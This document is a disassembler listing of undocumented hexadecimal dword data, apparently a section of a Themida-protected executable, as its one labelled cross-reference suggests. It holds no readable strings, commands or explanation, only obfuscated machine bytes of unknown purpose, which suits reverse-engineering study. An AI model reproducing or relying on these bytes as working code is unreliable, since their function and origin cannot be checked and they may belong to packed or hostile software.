		dd 0BDE525C3h, 0C810F1Eh, 0E8000000h, 6, 0A46F25D9h, 0E85FDB08h
		dd 4, 1F03FFh, 0C6B2CABFh, 0BB66502Fh, 448B8941h, 52500424h
		dd 0F98B5250h, 0CE8310Fh, 0D5000000h, 9C092921h, 6AF1E5E1h
		dd 5FA806C0h, 310F585Ah, 5850Fh, 0CBB0000h, 5A386816h
		dd 0E9008B58h, 6, 67DFD10Ch, 44895943h,	23580424h, 100829BDh
		dd 6D858D06h, 6A0613C2h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h
		dd 42000000h, 0FEAFC352h, 1664BE4Dh, 0CF81145Eh, 4FFF5E4Bh
		dd 0AADB8166h, 0FA8B90FAh, 0FB8B5650h, 6A905Fh,	3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 1D2CE8C3h, 0E3CAD01h, 11E961h, 48590000h, 89465A91h
		dd 7CB59C1Dh, 56CE859h,	0FFF16588h, 1005D595h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 636F7A64h, 44876ADh,	10E8614Dh, 0E6000000h, 3261755Ah
		dd 963B13E6h, 6CFD449h,	0BBBC564Dh, 43D69B8Dh, 0C185C75Bh
		dd 3061022h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 5C9BC353h, 0CD8F7030h
		dd 602BA876h, 8B12C880h, 10142D95h, 0BD836106h,	613C26Dh
		dd 54840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 86F2C355h, 6E6EC678h
		dd 1FD19D8Bh, 43E90610h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0BC6EC351h
		dd 895B9030h, 0A1BD8BD8h, 50061027h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 0BD8BC08Bh, 6100B45h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C4C35141h
		dd 0C1BD8307h, 3061022h, 4DA850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 4DE6C4C3h
		dd 6ABF8036h, 8319EA7Ah, 13C26DBDh, 840F0006h, 4A8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 65C35141h, 0F3C09DBAh
		dd 7DBD8BC4h, 0FF06102Fh, 13C26DB5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 1518F866h
		dd 1BA99D29h, 95FF0610h, 6102FA5h, 9E9h, 104C3900h, 260B08F4h
		dd 0B58B0E8Dh, 613C261h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 19h, 0F8C35040h, 402ABE9Bh, 106C7F4h, 31000100h
		dd 1011B995h, 5ABF5006h, 891ACAD2h, 6A2434h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 74C008C3h
		dd 806E37A9h, 0B5FFB6E7h, 613C26Dh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 7DC35040h, 0AA2A486Ch, 0AB477243h
		dd 122595FFh, 0DB800610h, 61B58B9Fh, 6A0613C2h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 89B9C356h, 10287985h, 0D1858B06h, 6A061021h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 35B0C353h, 8689DCE6h, 0C4h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 27C35747h, 8B7A4F16h, 1010A1BDh
		dd 91BD8B06h, 8B061012h, 1009F595h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 98037F50h
		dd 0EE9D268h, 0D88B66E4h, 6A04C283h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0FB51C352h
		dd 0DB57E85Ah, 142A8C7h, 101BE1B5h, 20508906h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 54C35343h, 2BFF1109h
		dd 0FBEB02EBh, 5BD8B44h, 8D06102Fh, 13D7C285h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 9E09EC5h, 101B61BDh,	0B8868906h, 81000000h, 0AFF9F7C7h
		dd 6A006A35h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 28A9C353h, 3681C292h, 147985ECh
		dd 191D9D8Bh, 0BF0F0610h, 6DB5FFD8h, 6A0613C2h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 4704C353h, 3E50B9Dh,	0BF0639FEh, 7BC04666h, 49595FFh
		dd 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0BD895CC3h, 6102005h, 6997BB50h, 34896F0Ah
		dd 0AE824h, 0E57D0000h,	0DA093F45h, 4259C6FDh, 8A5B529h
		dd 505F0610h, 870F60h, 8A000000h, 0FF5F61E3h, 13C26DB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0F98B615Fh, 162D95FFh, 14E90610h, 0B6000000h
		dd 68A796A1h, 0D582AF4Bh, 4560BCBEh, 90A78ECCh,	83386E48h
		dd 101351BDh, 840F0006h, 35h, 3161B589h, 50960610h, 810Fh
		dd 6A960000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 81AFC357h, 89261C99h, 1019159Dh
		dd 6DB5FF06h, 0E90613C2h, 10h, 2CB32FD9h, 8FE1663Eh, 628176B4h
		dd 0A867EEF3h, 0C1995FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 29FA61C3h, 49E44D7Ch
		dd 8B1541FAh, 0FD8D09D9h, 0FF06101Eh, 13C26DB5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0E388E366h, 8B5B510Ah, 101DB19Dh, 2195FF06h,	66061016h
		dd 4CBEDB81h, 0F89BD83h, 0F020610h, 9884h, 0BE666000h
		dd 11E9FD8Eh, 4000000h,	9417F361h, 0E14A8DAAh, 0FB3F67CBh
		dd 3652E578h, 13E961h, 24EE0000h, 0E795842Eh, 0C3FA63C6h
		dd 0C9308B73h, 0F02D774Fh, 0C5858B94h, 6A061010h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 519AC356h, 0AC27B173h, 8BDF8BFDh, 100A2DBDh,	0C606h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0FFC35242h
		dd 0E594E8D1h, 81C3E836h, 0AAF349CBh, 0BDA8B1Eh, 1030599Dh
		dd 2585C706h, 6102Ah, 0BF000000h, 65BCBA9h, 0FFF232E9h
		dd 0DA8B66FFh, 6AC18Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0AE5785C3h, 8BFC7244h, 8D9D8BF8h
		dd 8D061016h, 1013B985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 60735770h, 13E960h, 0FBE80000h
		dd 8AB676A3h, 0CF26AD93h, 5B9EEE38h, 70D7694Fh,	0A4BF66CCh
		dd 9D8B61E4h, 6102A15h,	2CC78161h, 9068D394h, 5E8h, 2BC81A00h
		dd 0FB8B1392h, 820F505Fh, 0Dh, 890F60h,	0B8000000h, 6588A3Fh
		dd 8B669061h, 8830FDEh,	50000000h, 21819D23h, 6A5F0610h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 622C37A7h, 0FF9D13F0h, 12B9BD8Bh, 0FE80610h
		dd 1E000000h, 0A23A6639h, 90FC5D66h, 0FB549F37h, 0CF80C47Fh
		dd 0B5895B47h, 61001C1h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0E47935C3h, 0CF310AC5h
		dd 0BF8A321Dh, 6C79D022h, 0C69B858Dh, 0BF660614h, 0C083431Fh
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 19E3ADBEh, 90980FACh, 34B75250h,	5051310Fh
		dd 5A310F52h
		dd 585A5F58h, 60606050h, 61616061h, 4852BB66h, 8A0F9061h
		dd 0
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 418B22C3h, 6ADBBF0Fh, 95FFFC00h, 6101D19h
		dd 0B7866ABFh, 8F51BB59h, 8D8D7067h, 613AFD8h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0A0C35242h, 5B1A1EBh
		dd 833C903Bh, 6AD1FFB4h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 1ED5C353h, 7C09C9E2h
		dd 0F4A89ADh, 118Dh, 9E800h, 10C00000h,	0C40807D8h, 8A0FB4D6h
		dd 83F85FD8h, 102209BDh, 850F0106h, 4Ah, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 18h, 0B6C35040h, 0CA05462Eh
		dd 6652026Ah, 5BCCEABBh, 90D88B66h, 0B26ACCBBh,	6690507Dh
		dd 4C29F381h, 49595FFh,	0B5310610h, 6100E61h, 1019D8Bh
		dd 0E2E90610h, 0E800000Dh, 0
		dd 0A5ED815Dh, 90614C6h, 10069D8Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0E4FF84C8h
		dd 1465FD33h, 27C19D8Bh, 66520610h, 8D5BDF8Bh, 1399B685h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0A48C34A6h, 0EB5D0F17h, 525090CCh, 310FDE8Bh
		dd 0FB17BF66h, 6650585Ah, 6A90DF8Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0B2B2C355h
		dd 62D159C7h, 0BD898FA3h, 61030E5h, 0A19FBF66h,	0D7DBD89h
		dd 0FF640610h, 35h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 64FF7040h, 2589h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 22429BC3h, 141985FFh, 890F0610h, 1Bh, 0FE8h,	60034700h
		dd 0A95C0202h, 7321BF0Fh, 17C52B01h, 27E1B589h,	6A5B0610h
		dd 55006AFFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0D0A6960Eh, 9D29AF98h, 6100A49h,	43F8EB81h
		dd 0B5FF6617h, 6101D89h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 78C35747h, 3224F2F9h,	7B91CBEBh, 0FF5F52D4h
		dd 10061595h, 0FEE906h,	0BD8B0000h, 6103179h, 9D8900B0h
		dd 61013A5h, 0B70F70E6h, 6671E4FEh, 861E381h, 830F613Ch
		dd 0DCh, 0FC8B60Fh, 128Ch, 6E800h, 87DF0000h, 6610CED7h
		dd 20D9BD8Bh, 0BA5B0610h, 6, 45BD8Bh, 0C18B0610h, 8166DD8Ah
		dd 0C1C33FF7h, 5E804E8h, 63000000h, 0A767039Ch,	0E2F7665Fh
		dd 23B99D8Bh, 8A0F0610h, 3, 2BF9B70Fh, 8BDF8BC8h, 101E9DBDh
		dd 8BD18B06h, 1006BDBDh, 76E906h, 8FBF0000h, 8B25C635h
		dd 885h, 83D98B00h, 0DA8B07C0h,	0BB00C083h, 5DBE1EB8h
		dd 830FD03Bh, 1Dh, 18B5BD89h, 0DE90610h, 44000000h, 22DA0CF4h
		dd 0FA284137h, 0CBFDD15Ah, 37E9h, 0FF8D8B00h, 8AFFFFFFh
		dd 1E183D9h, 26840Fh, 89570000h, 100799B5h, 0A5835B06h
		dd 0FFFFFFFFh, 0DD8589FEh, 89061026h, 895h, 0D9BD8B00h
		dd 0E9061007h, 0
		dd 4078B58Dh, 0FC500614h, 0BB006A5Fh, 43426278h, 31C995FFh
		dd 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 7A9742C3h, 5DB90CD0h, 8900000Fh, 103279BDh
		dd 0FCE18306h, 1C8E0Fh,	0F600000h, 88h,	0EE800h, 1F6E0000h
		dd 648579F4h, 0FBC57757h, 6E9C20AEh, 6AFC6159h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 87F2C353h, 0C02BF530h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 74C35646h, 9109D443h,	0BAFB8B66h, 0
		dd 0A959D8Bh, 33AD0610h, 3E8D1C2h, 4E983D0h, 0DC8AF475h
		dd 0B1953153h, 5B061023h, 880Dh, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 8B66A74Eh
		dd 0F5958BDAh, 0F061009h, 158Eh, 0BE86000h, 9000000h, 0D8A7C6B3h
		dd 523D5B14h, 8B5E247Eh, 858961D1h, 6102189h, 23198D8Bh
		dd 6A0610h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0F2415C3h, 81E38166h, 0C28B50C5h,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 9107C353h
		dd 5AB9ABFFh, 45AE06DEh, 10958D29h, 6A0610h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 21C15C3h
		dd 30F3D66h, 1E29BD83h,	0F000610h, 9984h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 0BA858FB8h, 24283B3Dh, 0B8F0h, 9D890000h, 6101645h
		dd 4E858D8Dh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0B3CBFDC3h, 0B88D8008h, 3833B8Eh
		dd 102939BDh, 0EE906h, 3F960000h, 0A02F7090h, 9AFDC6D9h
		dd 1F465872h, 6AE1FFh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0BA410C3h, 1CD28DA2h, 0BD834931h
		dd 61022C1h, 14840F00h,	6A000004h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 5FA6C350h
		dd 909B531h, 0BD830610h, 61022C1h, 0FF840F01h, 81000003h
		dd 0CB792AE3h, 0C1BD8312h, 3061022h, 3B6860Fh, 9D330000h
		dd 6100901h, 0B19D8B60h, 66061032h, 0BD8BD98Ch,	6100E15h
		dd 0E904E180h, 10h, 0E66D82D7h,	0F2256A44h, 6F05EDB8h
		dd 0DA490484h, 840FC90Ah, 105h,	8BDE8B66h, 10218585h, 6E906h
		dd 0A6840000h, 406420A6h, 11FD8533h, 6A0610h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 9D7628C3h
		dd 0BB50F5A4h, 42CE2ED2h, 6A240489h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 4967C353h
		dd 52F3A68Bh, 6810Fh, 0B5090000h, 6100CA9h, 11E9h, 0FE9AB100h
		dd 26F83472h, 39B8B6Ch,	5A44D694h, 6A35FBh, 0BEC38166h
		dd 899589D1h, 0E8061015h, 4, 1F03FFh, 0BF665250h, 310F918Bh
		dd 8E0Fh, 585A0000h, 0D88B6650h, 424448Bh, 28F0Fh, 0FA8B0000h
		dd 8B52008Bh, 44895FFEh, 52500424h, 0BF66310Fh,	585A0A6Ch
		dd 0CE958h, 30CE0000h, 0A14A4DB2h, 0B37DD362h, 95FFB3FAh
		dd 61005D5h, 1401BD23h,	85890610h, 613C26Dh, 15E5BD8Bh
		dd 0BE90610h, 89000002h, 101C81B5h, 65858B06h, 6A0613C2h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0A320C357h, 0B589DFC5h, 6102DADh,	1800C7h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 525936C3h, 0EF095A82h, 0A7DB8166h, 69B58BA6h
		dd 8B0613C2h, 8E9F9h, 0FD830000h, 94A953B5h, 858B5CF4h
		dd 6100E25h, 11E9h, 0A53FD100h,	4B10A967h, 0F8E15977h
		dd 0F324B9CDh, 689A768h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 4FC35141h, 0ADBD8B47h, 0F06102Dh, 68Dh
		dd 95B50100h, 8B061027h, 10218585h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0B89B42EAh
		dd 0C96B469Ch, 6E920h, 0EB810000h, 0CCF69BB0h, 0F0A8BF66h
		dd 6A044689h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 51EDC356h, 0D60104FCh,	9D23F5AFh
		dd 61018E1h, 0CE896h, 0F0D30000h, 0BFD70EDAh, 85AE46B9h
		dd 8D0F1693h, 2, 505F5F50h, 8BDF8B60h, 299661F0h, 1032D185h
		dd 65B5FF06h, 6A0613C2h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 6C6AC355h, 1699BD89h
		dd 0D1680610h, 502BD092h, 810F5052h, 0
		dd 0F310F5Fh, 487h, 9BB6600h, 81585A5Dh, 912E2434h, 81662BCFh
		dd 8D3720F3h, 13C26D85h, 0C1BD0B06h, 90061027h,	66F18A60h
		dd 61018FBBh, 90FA8A50h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 88C35242h, 0A0E556C4h, 0B589D37Fh, 6102A35h
		dd 5D595FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0EA7D08C3h, 18F99531h, 6A610610h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0F7D7C351h, 270B4792h, 0C7AAB656h, 1022C185h
		dd 306h, 41952900h, 8306102Fh, 13C26DBDh, 840F0006h, 34h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 29C35545h
		dd 0F9522934h, 9D89525Bh, 6102EC1h, 21E95Bh, 9D290000h
		dd 61008BDh, 110C3050h,	1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 1C51C352h, 0B639CE7Eh,	29FB8B66h
		dd 100C0985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 4677C2A0h, 0F88B74Ch, 0BD83F9B7h
		dd 61022C1h, 0B850F03h,	2B000004h, 102AC5BDh, 6DBD8306h
		dd 613C2h, 3F8840Fh, 820F0000h,	0Dh, 5E8h, 8E095B00h, 5B523A3Ah
		dd 6DB5FF5Fh, 6A0613C2h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0DD75C356h,	0EBBB661Ah
		dd 0A595FF51h, 6A06102Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 2168C351h, 4ACF8166h
		dd 61B58BA2h, 330613C2h, 1012B1BDh, 106C706h, 6A000100h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0FD04C355h, 81634140h, 0C3B76BDBh, 14E89639h
		dd 84000000h, 6CAF55B4h, 0A688B062h, 0AA97B262h, 97F561AEh
		dd 6660A4C7h, 505FFB8Bh, 2830F60h, 60000000h, 0BBBF6661h
		dd 8B9661BFh, 10139DBDh, 6DB5FF06h, 8B0613C2h, 1015C1BDh
		dd 0BD8B5106h, 6101489h, 2595FF5Bh, 6A061012h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 8FF5C353h, 31958952h, 5F061031h, 0C987BF66h,	0C261B58Bh
		dd 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0D40C8EC3h, 8954D4A0h, 10059DBDh,	0D1858B06h
		dd 6A061021h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0D49C350h, 23619D03h, 86890610h
		dd 0C4h, 9F5958Bh, 860F0610h, 6, 4919D03h, 0C2830610h
		dd 89D88B04h, 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 85D5D3C3h, 1FE19D01h, 858D0610h
		dd 613D7C2h, 8689DE8Bh,	0B8h, 6199529h,	6A0610h, 1301BD8Bh
		dd 0B5FF0610h, 613C26Dh, 0FFDA8B66h, 10049595h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0D2035939h, 0D5F975E2h, 8D29FA23h, 61032C5h,	6E8h, 0E59BD500h
		dd 89267693h, 100F1DBDh, 60965B06h, 0AE8h, 54503B00h, 0D8BE598Ah
		dd 0FE6E775h, 80h, 880F5B00h, 0Bh, 5E8h, 2581C300h, 61584F07h
		dd 9E850h, 56290000h, 0F5A63570h, 5B338FB6h, 51006A96h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 8E85Ah, 67B10000h, 0ADFF8335h, 8960829Ah, 100E5585h
		dd 69BD0106h, 61061004h, 0FF40B75Fh, 13C26DB5h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 560B58EDh, 162D95FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 20BCFEC3h, 0CD705EDAh
		dd 1351BD83h, 0F000610h, 7C84h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 1F6A8644h
		dd 6890F10h, 3000000h, 1004F5BDh, 99B52906h, 96061031h
		dd 68E0F60h, 50000000h,	5A310F52h, 68D0F58h, 0F000000h
		dd 82h,	0B7506100h, 6A96A2h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 81A6B9C3h, 42C0C632h
		dd 8B0C3189h, 1029D9BDh, 6DB5FF06h, 6A0613C2h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 8991C356h, 77A38A66h, 95FFBB21h, 6100C19h, 8E956h, 5100000h
		dd 0E8BE6954h, 0FF5B8E9Bh, 13C26DB5h, 33565106h, 1009B19Dh
		dd 0FF5F5F06h, 10162195h, 0A1B52906h, 8306102Fh, 100F89BDh
		dd 840F0206h, 22h, 8BFFBF0Fh, 1010C585h, 0E8D0F06h, 0E9000000h
		dd 9, 2AF3FE7Dh, 0C0B9A123h, 0C6FFh, 85C790B3h,	6102A25h
		dd 0
		dd 21E9B589h, 90E90610h, 6AFFFFF3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 712C350h
		dd 8BAF2222h, 1015899Dh, 6AC18B06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0E898C352h
		dd 90EF3AA5h, 0E384ACC0h, 28590BBFh, 0B9858D77h, 57061013h
		dd 1ED18D89h, 905B0610h, 0E1A9BF66h, 0DF8B6650h, 55006A90h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 5665C78Eh, 6AC42E64h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0B29D4C14h, 9D297B38h
		dd 61001C1h, 0A099D8Bh,	6A0610h, 1A699509h, 858D0610h
		dd 614D69Ah, 8D01FB8Bh,	6102285h, 0F05C083h, 38Ah, 97C38000h
		dd 89DE8B50h, 85092404h, 61004CDh, 880F006Ah, 6, 1385BD8Bh
		dd 6A0610h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Ah,	56C35242h, 0A28EE117h, 95FFB072h, 6101D19h, 0E8E38166h
		dd 0D88D8D41h, 6A0613AFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0AD8AC355h,	0D9B563B7h
		dd 0E81CBB81h, 0D1FF2CF8h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 42C35141h, 83F7D776h,	102209BDh, 850F0106h
		dd 0E9h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 19h,	6CC35040h, 8BC2ACD6h, 11830FA1h, 0F000000h, 0B84h
		dd 6E900h, 6CF20000h, 0ED8028B7h, 2329BD89h, 26A0610h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 2DC35040h
		dd 6E854B6Eh, 80BA3DB3h, 9D8B1ACFh, 6102E8Dh, 0DA8B6690h
		dd 0DE850h, 36860000h, 117C2D4Bh, 0C7E00554h, 8B0F6997h
		dd 6A905BF9h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 150C357h, 18820F6Ah, 0E9000000h
		dd 13h,	7AAE3508h, 681188B1h, 1411BC05h, 3EB3E122h, 0F808BA3h
		dd 95FFFBB7h, 6100495h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 64C35343h, 0E9DE9F9h
		db 2 dup(0)
word_598B0A	dw 0E8h			; DATA XREF: Themida_:0054B938o
		dd 5D000000h, 0D6A4ED81h, 0BB660614h, 0BD89DD6Bh, 6102A89h
		dd 1199BD8Bh, 858D0610h, 61399B6h, 0EF8166F8h, 50903FB1h
		dd 63BBBB52h, 310F0011h, 0BE85250h, 37000000h, 0B63C75h
		dd 29D9CD18h, 0F5B52D1h, 0F525031h, 5A585A31h, 50585A58h
		dd 0FEB70F90h, 35FF64h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0F96C351h
		dd 686h, 35BD8900h, 6406101Bh, 2589h, 0BD8B0000h, 61018C1h
		dd 6830Fh, 9D2B0000h, 61018F1h,	141985FFh, 6A0610h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 21F040C3h, 6AFB8B66h, 0FAC4BBFFh, 0B5FF7CCAh, 6102ED5h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0B9C35141h
		dd 14B63847h, 0E3717E69h, 2A6D8D89h, 95FF0610h,	6100615h
		dd 14EE9h, 0B0DE8B00h, 27BB6600h, 0F70E65Fh, 0E85h, 8D8B6000h
		dd 6100BDDh, 2A11BD89h,	0E4610610h, 0FE971h, 0E5A40000h
		dd 7B05F1C6h, 67360A38h, 6CF761A0h, 0F613C8Ah, 11283h
		dd 10E900h, 0D100000h, 3CDD0F97h, 904D70DEh, 7D4D371Eh
		dd 0B60FC15Dh, 0F99589C8h, 0BA061012h, 6, 6E9h,	35E21200h
		dd 8B195690h, 0AA8EBBC1h, 0E8C15BABh, 0F7816604h, 0DE9E059h
		dd 12000000h, 29E37D03h, 7A45DE4Bh, 688F6566h, 0FE2F766h
		dd 680h, 658D8900h, 2B06100Ah, 0D18BFCC8h, 0AAE9h, 0C6EB8100h
		dd 0BB3279B2h, 6DC4050Fh, 1858Bh, 0E8600000h, 6, 2E923C71h
		dd 9D89902Ah, 61018F9h,	8361FC5Bh, 858907C0h, 610137Dh
		dd 100C083h, 100D6585h,	2D8D8906h, 3B061014h, 2F830FD0h
		dd 0F000000h, 68Bh, 0DEDB8100h,	0E8163167h, 0Ah, 88BF6076h
		dd 0CD90123Fh, 8B515A61h, 102DD59Dh, 0E95F5F06h, 3Bh, 1FC1B589h
		dd 8D8B0610h, 0FFFFFFFFh, 83FA8B66h, 840F01E1h,	23h, 0C1CB8166h
		dd 0FFA5833Eh, 0FEFFFFFFh, 6870Fh, 9D8B0000h, 6100975h
		dd 19589h, 0E90000h, 8D000000h,	144FD5B5h, 0E9BD8B06h
		dd 29061007h, 101449BDh, 89006A06h, 101915B5h, 0C995FF06h
		dd 6A061031h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 942CC353h, 0A098D09h, 9D8B0610h
		dd 61004CDh, 21CDBD8Bh,	2EB90610h, 6600000Fh, 0EB55CF81h
